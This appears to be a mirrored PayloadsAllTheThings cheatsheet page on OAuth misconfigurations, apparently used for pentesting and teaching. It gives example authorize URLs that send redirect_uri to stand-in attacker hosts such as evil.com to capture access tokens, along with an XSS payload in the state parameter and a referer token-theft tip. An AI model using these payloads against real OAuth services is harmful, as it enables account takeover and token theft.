daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

index.md (5707B)


      1 ---
      2 title: "OAuth Misconfiguration"
      3 topic: "OAuth Misconfiguration"
      4 topicSlug: "oauth-misconfiguration"
      5 sourcePath: "OAuth Misconfiguration/README.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/OAuth%20Misconfiguration/README.md"
      7 sha: "3ac27901c711"
      8 isReadme: true
      9 ---
     10 
     11 # OAuth Misconfiguration
     12 
     13 > OAuth is a widely-used authorization framework that allows third-party applications to access user data without exposing user credentials. However, improper configuration and implementation of OAuth can lead to severe security vulnerabilities. This document explores common OAuth misconfigurations, potential attack vectors, and best practices for mitigating these risks.
     14 
     15 ## Summary
     16 
     17 - [Stealing OAuth Token via referer](#stealing-oauth-token-via-referer)
     18 - [Grabbing OAuth Token via redirect_uri](#grabbing-oauth-token-via-redirect_uri)
     19 - [Executing XSS via redirect_uri](#executing-xss-via-redirect_uri)
     20 - [OAuth Private Key Disclosure](#oauth-private-key-disclosure)
     21 - [Authorization Code Rule Violation](#authorization-code-rule-violation)
     22 - [Cross-Site Request Forgery](#cross-site-request-forgery)
     23 - [Labs](#labs)
     24 - [References](#references)
     25 
     26 ## Stealing OAuth Token via referer
     27 
     28 > Do you have HTML injection but can't get XSS? Are there any OAuth implementations on the site? If so, setup an img tag to your server and see if there's a way to get the victim there (redirect, etc.) after login to steal OAuth tokens via referer - [@abugzlife1](https://twitter.com/abugzlife1/status/1125663944272748544)
     29 
     30 ## Grabbing OAuth Token via redirect_uri
     31 
     32 Redirect to a controlled domain to get the access token
     33 
     34 ```powershell
     35 https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
     36 https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
     37 ```
     38 
     39 Redirect to an accepted Open URL in to get the access token
     40 
     41 ```powershell
     42 https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com
     43 https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F
     44 ```
     45 
     46 OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” can’t be pointed to an Open Redirect.
     47 
     48 Sometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri:
     49 
     50 ```powershell
     51 https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
     52 ```
     53 
     54 ## Executing XSS via redirect_uri
     55 
     56 ```powershell
     57 https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
     58 ```
     59 
     60 ## OAuth Private Key Disclosure
     61 
     62 Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.
     63 
     64 ## Authorization Code Rule Violation
     65 
     66 > The client MUST NOT use the authorization code  more than once.  
     67 
     68 If an authorization code is used more than once, the authorization server MUST deny the request
     69 and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.
     70 
     71 ## Cross-Site Request Forgery
     72 
     73 Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (`https://example.com/callback?code=AUTHORIZATION_CODE`). This URL can be used in CSRF attacks.
     74 
     75 > The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.
     76 
     77 ## Labs
     78 
     79 - [PortSwigger - Authentication bypass via OAuth implicit flow](https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow)
     80 - [PortSwigger - Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
     81 - [PortSwigger - OAuth account hijacking via redirect_uri](https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri)
     82 - [PortSwigger - Stealing OAuth access tokens via a proxy page](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page)
     83 - [PortSwigger - Stealing OAuth access tokens via an open redirect](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect)
     84 
     85 ## References
     86 
     87 - [All your Paypal OAuth tokens belong to me - asanso - November 28, 2016](https://web.archive.org/web/20161130191804/http://blog.intothesymmetry.com:80/2016/11/all-your-paypal-tokens-belong-to-me.html)
     88 - [OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token) - asanso - April 8, 2014](https://web.archive.org/web/20140411210456/http://intothesymmetry.blogspot.ch:80/2014/04/oauth-2-how-i-have-hacked-facebook.html)
     89 - [How I hacked Github again - Egor Homakov - February 7, 2014](https://web.archive.org/web/20140302195803/http://homakov.blogspot.ch:80/2014/02/how-i-hacked-github-again.html)
     90 - [How Microsoft is giving your data to Facebook… and everyone else - Andris Atteka - September 16, 2014](https://web.archive.org/web/20151221013410/http://andrisatteka.blogspot.ch:80/2014/09/how-microsoft-is-giving-your-data-to.html)
     91 - [Bypassing Google Authentication on Periscope's Administration Panel - Jack Whitton - July 20, 2015](https://web.archive.org/web/20250113205505/https://whitton.io/articles/bypassing-google-authentication-on-periscopes-admin-panel/)